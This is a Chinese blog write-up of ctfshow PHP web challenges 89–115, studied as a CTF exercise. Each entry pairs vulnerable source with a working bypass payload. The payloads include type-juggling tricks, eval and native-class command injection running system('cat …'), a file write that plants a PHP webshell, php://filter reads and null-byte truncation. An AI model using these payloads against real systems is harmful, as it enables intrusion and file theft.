前言

期末没太多时间去看新东西了。。。。还是自己太菜,复习复习以前的知识也准备开始学习内网了,由于很多题目比较相似,所以比较相似的题目就列在一起了。

ctfshow(上)

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

很简单的绕过,注意的是 intval处理数组的时候,都会返回1

随便传一个?num[]=1就行

web90 /92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

也是考的intval的性质,当第二个参数为0时,会根据第一个参数的格式来判断进制,0x开头为16进制,0开头为8进制。

?num=0x117c

或者由于这是个取整函数,传小数也是一样的 ?num=4476.1

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

注意看一下两个正则的唯一区别就是m,网上搜一下

一、/i
(ignorCase)忽略大小写,注意仅是忽略大小写,并不忽略全半角。

二、/g
(globle)全文查找出现的所有匹配字符

三、/m
1、(mutiple)多行查找
2、m 影响 ^、$。
3、若不指定 m,则:^ 只在字符串的最开头,$ 只在字符串的最结尾。即:匹配整个串的开始和结束
4、若指定 m,则:^ 在字符串每一行的开头,$ 在字符串每一行的结尾。即:匹配每一行的开始和结束

其实这个用的是APACHE的解析漏洞:Apache HTTPD换行解析漏洞(CVE-2017-15715) - o3Ev's blog

payload:php%0aq

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

限制了不能有字母,用8进制一样可以绕过

payload:?num=010574

web94/95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多了一个限制,strpos() 函数查找字符串在另一字符串中第一次出现的位置,第一位的话会返回0,但前面加一个空格或者+即可绕过,因为intval函数会对空格开头进行一个删除的处理。(%20和+在url中都表示空格)

payload:?num=%20010574

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

考的路径问题,不能直接传flag.php,但要表示当前目录的flag.php,highlight_file后面接传入的文件路径

payload;

./falg.php
/var/www/html/flag.php
也可以用伪协议
php://filter/resource=flag.php

web97

http://c9c6aa3e-af15-4f4f-960f-0ad7612e37ba.challenge.ctf.show/include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

经典的md5碰撞:(92条消息) md5一些绕过方法_m0_56059226的博客-CSDN博客_md5绕过

payload:a[]=1&b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

考察三目运算和变量覆盖

整理一下

如果有GET传值 则$_GET=&$_POST否则$_GET=flag
如果$_GET['flag']=='flag' 则$_GET=&$_COOKIE否则'flag'
如果$_GET['flag']=='flag' 则$_GET=&$_SERVER否则'flag'
如果$_GET['HTTP_FLAG']=='flag' 则输出$flag否则显示当前页面

由于有个&(取地址)的符号,意思是说如果有get传值的话GET传的值会等于POST传的值,此时如果POST没有值得话自然GET也没有值,相当于被覆盖掉了。中间的代码也没有什么用,因为一旦GET有传值的话,所有GET的传值都相当于POST的传值了。

payload: get:?q=q post:HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

考察in_array松散比较:其实就是in_array 函数存在第三个参数strict,它用来标记函数在对两元素进行比较时是否采用 严格比较,类似 == 和 === 区别,in_array 函数默认采用 宽松 比较,即不比较类型,只比较值是否相等。

第一个for循环语句相当于给allow数组赋值,但由于有rand函数,allow里面的值并不确定,但不影响,多猜几个就好了。

既然他没有使用第三个参数,那么相当于php里面的== ,满足if条件就很简单了

payload:

GET:n=1.php
POST:content=<?=system('cat ./flag36d.php')?>

最后的flag名字是慢慢试出来的,在当前目录下,1.php不行的话可以多换几个数字试试,也可以直接传一句话上去,简单粗暴~

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

考察的逻辑的优先级:运算符and、=、&&的优先级为&& > = > and

也就是说,判断v1是否为数字后,先对v0进行赋值,然后与后面的and进行运算,但是已经不影响v0的结果了,再看if语句里面,他要求v2中不能有; 但是v3中要有;

先试着传一下/?v1=1&v2=print_r&v3=; 结果没有问题

image-20211219111708904

现在目的就是把中间的('ctfshow')绕过了,本来想把构造eval闭合的,试了发现不行。那干脆把('ctfshow')注释掉用/**/就好了。构造一下(要注意eval里面的php代码是需要以分号来结尾的)

/?v1=1&v2=system('ls')/*&v3=*/; ?v1=1&v2=system('cat ./flag36d.php')/*&v3=*/;

然而也看不到flag,再回过来看一下题目,他说flag在ctfshow类里面,应该是里面定义过的变量,想办法打印里面的变量就好了

payload:

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
get_defined_vars()查看所有变量
v1=1&v2=var_dump(get_defined_vars())?>/*&v3=*/;

得到flagimage-20211219120241324

注意把flag里面的0x2d转化为-就好了。

web101

和web100差不多,但过滤了很多东西

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

考虑用反射类,反射类的具体使用方法可参考php官网文档
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');
payload:?v1=1&v2=echo new ReflectionClass&v3=;

关于反射类举个例子

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

web102/103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

目的是为了找到一条php语句经过base64编码,在转换为16进制之后全部都是数字,看了大师傅们的文章发现只有cat *可以满足,不过原理比较简单,直接构造payload就行了

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

GET:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:

v1=hex2bin

在访问1.php就好了

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

考察的变量覆盖,可以看到有两个输出点,第一个die($error),第二个就是不满足if输出$flag,先看第一个,目的为了让$error=$flag。

GET:a=flag     $a=$flag
POST: error = a   $error=$a

得到flag

第二个通过suces输出,先把flag的值赋给a,在构造第二个相等

GET:a=flag
POST:suces=a&flag=

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

简单的数组绕过,没什么说的

GET:v2[]=1

POST:v1[]=2

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

因为之前比赛遇到过,所以看到parse_str条件反射想到变量覆盖,但这个题不是变量覆盖哈哈,线看一看这个函数

parse_str(string $string, array &$result): void
parse_str — 将字符串解析成多个变量
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

举个例子

image-20211219165624776

payload

GET:v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}//0x36d=877

如果^在括号里面的话表示否定。括号外面表示匹配开头

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配(在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束)
strrev()函数将字符串逆置

payload:

?c=a%00778
本地试了一下,传入后%00把778截断绕过第一个if,传入后的%00在第二个if里面不起作用也就相当于传入的是a778,然后弱比较也就能绕过

image-20211219174724906

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

简单审计一下有个echo new + 参数。条件反射肯定是php的原生类的利用,网上一搜就到处都是,再构造一下得到payload

?v1=Error();system('cat fl36dg.txt');//&v2=a

这里用的是php的异常类处理,当然也可以用其他内置函数,只要不会有错误的话停止运行应该都没问题。异常类虽然有错误的话会报错但会正常运行下去。但看别的师傅文章还有其他的方法

?v1=ReflectionClass&v2=system("ls")

这个就特别好理解了,也不用构造闭合也能出结果,原理就是他会先执行里面的内容,所以外面的类随便用一个都可以,传FilesystemIterator也是可以的。

扔一篇内置类的文章(95条消息) PHP 原生类的利用_cjdgg的博客-CSDN博客_php原生类

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

这个把括号过滤了,多半是要找到可以直接利用题目中括号的内置函数和内置类。又是知识盲区了,简单参考一下yu师傅的这张图

在这里插入图片描述

所以我们只需要再得到一个点或者路径就可以查看当前目录下的文件,得到一个/查看根目录下的文件。php中的getcwd()可以帮到我们这个忙。其实也是无参数rce中的函数PHP Parametric Function RCE · sky's blog (skysec.top)

getcwd()
getcwd — 取得当前工作目录
getcwd(void):string

payload:

v1=FilesystemIterator&v2=getcwd

web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}

考察的是php超全局变量$GLOBALS的使用

在这里插入图片描述

image-20211221130251522

这个变量会列出此脚本里面的所有变量。可以看到前面已经 包含了flag.php,那么flag变量也应该存在于全局作用域中。那么此题也就只需要把$GLOBALS的值赋给$$v1。限制了v1只能是ctfshow,getflag方法里面,让$v1=$$v2的地址,然后取值打印出来。

payload:

/?v1=ctfshow&v2=GLOBALS

web112/113/114

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

过滤了一些协议,但没有过滤file协议,file协议就是打开文件的,所以不行,我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议再看还没有过滤php协议,构造一下

payload:

?file=php://filter/resource=flag.php

hint中还有一些没有过滤的编码方式

file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php    //读取压缩流
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

看了yu师傅的fuzz

<?php

for($i=0;$i<=128;$i++){
    $str=chr($i)."1";
    if(is_numeric($str)){
        echo urlencode(chr($i))."<br>";
    }
}
<?php

for($i=0;$i<=128;$i++){
    $str=chr($i)."1";
    if(is_numeric($str)&& trim($str)!=='1'){
        echo urlencode(chr($i))."<br>";
    }
}

在这里插入图片描述

发现只有%0c(换页符)符合条件

?num=%0c36

先做一半吧,后面接着慢慢啃。。